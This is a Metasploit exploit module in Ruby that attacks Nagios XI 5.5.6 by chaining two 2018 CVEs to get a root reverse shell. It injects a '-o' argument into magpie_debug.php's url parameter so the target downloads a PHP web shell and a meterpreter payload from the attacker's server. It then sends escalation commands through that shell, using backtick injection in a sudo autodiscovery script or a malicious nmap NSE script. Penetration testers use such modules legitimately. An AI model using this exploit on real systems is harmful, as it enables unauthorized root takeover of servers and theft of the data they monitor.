##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Nagios XI Magpie_debug.php Root Remote Code Execution",
'Description' => %q{
This module exploits two vulnerabilities in Nagios XI 5.5.6:
CVE-2018-15708 which allows for unauthenticated remote code execution
and CVE 2018–15710 which allows for local privilege escalation.
When combined, these two vulnerabilities give us a root reverse shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Chris Lyne (@lynerc)', # First working exploit
'Guillaume André (@yaumn_)' # Metasploit module
],
'References' =>
[
['CVE', '2018-15708'],
['CVE', '2018-15710'],
['EDB', '46221'],
['URL', 'https://medium.com/tenable-techblog/rooting-nagios-via-outdated-libraries-bb79427172'],
['URL', 'https://www.tenable.com/security/research/tra-2018-37']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Nagios XI 5.5.6', version: Gem::Version.new('5.5.6')]
],
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
'Privileged' => false,
'DisclosureDate' => "2018-11-14",
'DefaultTarget' => 0
))
register_options(
[
OptString.new('RSRVHOST', [true, 'A public IP at which your host can be reached (e.g. your router IP)']),
OptString.new('RSRVPORT', [true, 'The port that will forward to the local HTTPS server', 8080]),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 5])
])
@WRITABLE_PATHS = [
['/usr/local/nagvis/share', '/nagvis'],
['/var/www/html/nagiosql', '/nagiosql']
]
@writable_path_index = 0
@MAGPIERSS_PATH = '/nagiosxi/includes/dashlets/rss_dashlet/magpierss/scripts/magpie_debug.php'
@session_opened = false
@webshell_name = "#{Rex::Text.rand_text_alpha(10)}.php"
@nse_name = "#{Rex::Text.rand_text_alpha(10)}.nse"
@meterpreter_name = Rex::Text.rand_text_alpha(10)
end
def on_request_uri(cli, req)
if @current_payload == @webshell_name
send_response(cli, '<?php system($_GET[\'cmd\'])?>')
else
send_response(cli, generate_payload_exe)
end
end
def primer
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH),
'vars_get' => {
'url' => "https://#{datastore['RSRVHOST']}:#{datastore['RSRVPORT']}#{get_resource} " +
'-o ' + @WRITABLE_PATHS[@writable_path_index][0] + "/#{@current_payload}"
}
}, 5)
if !res || res.code != 200
print_error('Couldn\'t send malicious request to target.')
end
end
def check_upload
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@current_payload}")
}, 5)
if res && res.code == 200
print_status("#{@current_payload} uploaded with success!")
return true
else
print_error("Couldn't upload #{@current_payload}.")
return false
end
end
def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(@MAGPIERSS_PATH)
}, 5)
if res && res.code == 200
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
all_files_uploaded = false
# Upload useful files on the target
for i in 0..@WRITABLE_PATHS.size
@writable_path_index = i
for filename in [@webshell_name, @meterpreter_name]
@current_payload = filename
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
if !check_upload
break
elsif filename == @meterpreter_name
all_files_uploaded = true
end
end
end
if all_files_uploaded
break
end
end
meterpreter_path = "#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@meterpreter_name}"
register_file_for_cleanup(
"#{@WRITABLE_PATHS[@writable_path_index][0]}/#{@webshell_name}",
meterpreter_path,
"/var/tmp/#{@nse_name}"
)
# Commands to escalate privileges, some will work and others won't
# depending on the Nagios version
cmds = [
"chmod +x #{meterpreter_path} && sudo php /usr/local/nagiosxi/html/includes/" \
"components/autodiscovery/scripts/autodiscover_new.php --addresses=\'127.0.0.1/1`#{meterpreter_path}`\'",
"echo 'os.execute(\"#{meterpreter_path}\")' > /var/tmp/#{@nse_name} " \
"&& sudo nmap --script /var/tmp/#{@nse_name}"
]
# Try to launch root shell
for cmd in cmds
res = send_request_cgi(
{
'uri' => normalize_uri("#{@WRITABLE_PATHS[@writable_path_index][1]}/#{@webshell_name}"),
'method' => 'GET',
'vars_get' => {
'cmd' => cmd
}
}, 5)
if !res && session_created?
break
end
print_status('Couldn\'t get remote root shell, trying another method')
end
end
end
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